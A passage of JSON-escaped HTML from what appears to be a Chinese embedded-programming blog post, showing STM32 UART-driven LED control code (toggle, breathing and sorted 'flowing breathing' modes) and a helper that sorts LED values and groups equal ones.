class=\"n\"\u003esetCompares\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 亮灭互转且设置亮度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x03\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etoggles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoggles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etoggleLeds\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoggles\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 呼吸(逐渐亮/暗)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x04\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esetTasks\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 流水呼吸\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x05\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrt_Main_Task\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这个函数用来处理各led的顺序大小然后重新排序\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003esortVectorByValue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBlink_Leds\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBlink_Cnt\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_ENABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_FLUSH_DRREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_CLEAR_FLAG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_FLAG_RXNE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e上面的sortVectorByValue,这直接 Ai 写吧,先排个序然后再判断相邻的是不是相等就行了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003esortVectorByValue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"n\"\u003evec\u003c/span\u003e\u003cspan class=\"p\"\u003e[],\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esortedIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[][\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esortedIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ePair\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003evec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003esort\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecompareByValue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esubCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eprevValue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eprevValue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003esubCount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan 